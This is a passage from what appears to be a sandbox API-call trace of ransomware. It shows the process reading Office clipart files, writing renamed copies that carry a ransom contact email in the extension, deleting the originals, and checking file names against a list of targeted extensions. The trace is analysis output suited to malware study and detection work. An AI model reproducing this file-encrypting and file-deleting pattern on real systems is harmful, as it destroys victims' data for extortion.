hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.257] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.257] SetEndOfFile (hFile=0x10b0) returned 1 [0295.257] CloseHandle (hObject=0x10b0) returned 1 [0295.257] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.257] SetEndOfFile (hFile=0x10b8) returned 1 [0295.258] CloseHandle (hObject=0x10b8) returned 1 [0295.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0295.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0295.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0295.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0295.259] lstrlenW (lpString=".doc") returned 4 [0295.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.259] lstrlenW (lpString=".docx") returned 5 [0295.259] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.259] lstrlenW (lpString=".pdf") returned 4 [0295.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.259] lstrlenW (lpString=".xls") returned 4 [0295.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.259] lstrlenW (lpString=".xlsx") returned 5 [0295.259] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.259] lstrlenW (lpString=".ppt") returned 4 [0295.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0295.259] lstrlenW (lpString=".zip") returned 4 [0295.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.259] lstrlenW (lpString=".rar") returned 4 [0295.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.259] lstrlenW (lpString=".bz2") returned 4 [0295.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.260] lstrlenW (lpString=".7z") returned 3 [0295.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0295.260] lstrlenW (lpString=".dbf") returned 4 [0295.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0295.260] lstrlenW (lpString=".1cd") returned 4 [0295.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0295.260] lstrlenW (lpString=".jpg") returned 4 [0295.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0295.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0295.260] lstrlenW (lpString=".doc") returned 4 [0295.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.260] lstrlenW (lpString=".docx") returned 5 [0295.260] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.260] lstrlenW (lpString=".pdf") returned 4 [0295.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.260] lstrlenW (lpString=".xls") returned 4 [0295.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.260] lstrlenW (lpString=".xlsx") returned 5 [0295.260] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.260] lstrlenW (lpString=".ppt") returned 4 [0295.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0295.260] lstrlenW (lpString=".zip") returned 4 [0295.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.261] lstrlenW (lpString=".rar") returned 4 [0295.261] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.261] lstrlenW (lpString=".bz2") returned 4 [0295.261] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.261] lstrlenW (lpString=".7z") returned 3 [0295.261] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0295.261] lstrlenW (lpString=".dbf") returned 4 [0295.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0295.261] lstrlenW (lpString=".1cd") returned 4 [0295.261] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0295.261] lstrlenW (lpString=".jpg") returned 4 [0295.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.261] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0295.261] lstrlenW (lpString="DD01162_.WMF") returned 12 [0295.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0295.262] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2300) returned 1 [0295.262] CloseHandle (hObject=0x10b8) returned 1 [0295.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x220 [0295.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0295.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0295.262] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.262] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0295.263] GetLastError () returned 0x0 [0295.263] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0295.408] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x900, lpOverlapped=0x0) returned 1 [0295.409] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.410] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.410] SetEndOfFile (hFile=0x10b0) returned 1 [0295.410] CloseHandle (hObject=0x10b0) returned 1 [0295.410] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.410] SetEndOfFile (hFile=0x10b8) returned 1 [0295.411] CloseHandle (hObject=0x10b8) returned 1 [0295.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0295.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 1 [0295.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0295.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0295.412] lstrlenW (lpString=".doc") returned 4 [0295.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.412] lstrlenW (lpString=".docx") returned 5 [0295.412] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.412] lstrlenW (lpString=".pdf") returned 4 [0295.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.412] lstrlenW (lpString=".xls") returned 4 [0295.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.412] lstrlenW (lpString=".xlsx") returned 5 [0295.412] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.412] lstrlenW (lpString=".ppt") returned 4 [0295.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0295.412] lstrlenW (lpString=".zip") returned 4 [0295.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.412] lstrlenW (lpString=".rar") returned 4 [0295.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.412] lstrlenW (lpString=".bz2") returned 4 [0295.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.412] lstrlenW (lpString=".7z") returned 3 [0295.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0295.412] lstrlenW (lpString=".dbf") returned 4 [0295.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0295.413] lstrlenW (lpString=".1cd") returned 4 [0295.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0295.413] lstrlenW (lpString=".jpg") returned 4 [0295.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0295.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0295.413] lstrlenW (lpString=".doc") returned 4 [0295.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.413] lstrlenW (lpString=".docx") returned 5 [0295.413] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.413] lstrlenW (lpString=".pdf") returned 4 [0295.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.413] lstrlenW (lpString=".xls") returned 4 [0295.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.413] lstrlenW (lpString=".xlsx") returned 5 [0295.413] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.413] lstrlenW (lpString=".ppt") returned 4 [0295.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0295.413] lstrlenW (lpString=".zip") returned 4 [0295.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.413] lstrlenW (lpString=".rar") returned 4 [0295.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.413] lstrlenW (lpString=".bz2") returned 4 [0295.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.413] lstrlenW (lpString=".7z") returned 3 [0295.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0295.414] lstrlenW (lpString=".dbf") returned 4 [0295.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0295.414] lstrlenW (lpString=".1cd") returned 4 [0295.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0295.414] lstrlenW (lpString=".jpg") returned 4 [0295.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.414] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0295.414] lstrlenW (lpString="DD01170_.WMF") returned 12 [0295.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0295.414] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2404) returned 1 [0295.415] CloseHandle (hObject=0x10b8) returned 1 [0295.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x220 [0295.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0295.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0295.415] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.415] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0295.415] GetLastError () returned 0x0 [0295.416] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x964, lpOverlapped=0x0) returned 1 [0296.163] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x970, lpOverlapped=0x0) returned 1 [0296.164] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.164] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.164] SetEndOfFile (hFile=0x10b0) returned 1 [0296.164] CloseHandle (hObject=0x10b0) returned 1 [0296.164] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.164] SetEndOfFile (hFile=0x10b8) returned 1 [0296.165] CloseHandle (hObject=0x10b8) returned 1 [0296.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 1 [0296.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0296.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0296.166] lstrlenW (lpString=".doc") returned 4 [0296.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.166] lstrlenW (lpString=".docx") returned 5 [0296.166] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.166] lstrlenW (lpString=".pdf") returned 4 [0296.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.166] lstrlenW (lpString=".xls") returned 4 [0296.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.166] lstrlenW (lpString=".xlsx") returned 5 [0296.166] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.166] lstrlenW (lpString=".ppt") returned 4 [0296.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0296.166] lstrlenW (lpString=".zip") returned 4 [0296.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.166] lstrlenW (lpString=".rar") returned 4 [0296.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.166] lstrlenW (lpString=".bz2") returned 4 [0296.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.166] lstrlenW (lpString=".7z") returned 3 [0296.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0296.166] lstrlenW (lpString=".dbf") returned 4 [0296.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0296.166] lstrlenW (lpString=".1cd") returned 4 [0296.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0296.166] lstrlenW (lpString=".jpg") returned 4 [0296.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0296.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0296.167] lstrlenW (lpString=".doc") returned 4 [0296.167] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.167] lstrlenW (lpString=".docx") returned 5 [0296.167] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.167] lstrlenW (lpString=".pdf") returned 4 [0296.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.167] lstrlenW (lpString=".xls") returned 4 [0296.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.167] lstrlenW (lpString=".xlsx") returned 5 [0296.167] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.167] lstrlenW (lpString=".ppt") returned 4 [0296.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0296.167] lstrlenW (lpString=".zip") returned 4 [0296.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.167] lstrlenW (lpString=".rar") returned 4 [0296.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.167] lstrlenW (lpString=".bz2") returned 4 [0296.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.167] lstrlenW (lpString=".7z") returned 3 [0296.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0296.167] lstrlenW (lpString=".dbf") returned 4 [0296.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0296.167] lstrlenW (lpString=".1cd") returned 4 [0296.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0296.167] lstrlenW (lpString=".jpg") returned 4 [0296.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.168] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.168] lstrlenW (lpString="DD01171_.WMF") returned 12 [0296.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0296.168] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2052) returned 1 [0296.168] CloseHandle (hObject=0x10b8) returned 1 [0296.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x220 [0296.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0296.169] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.169] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0296.169] GetLastError () returned 0x0 [0296.169] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x804, lpOverlapped=0x0) returned 1 [0296.285] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x810, lpOverlapped=0x0) returned 1 [0296.286] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.286] WriteFile 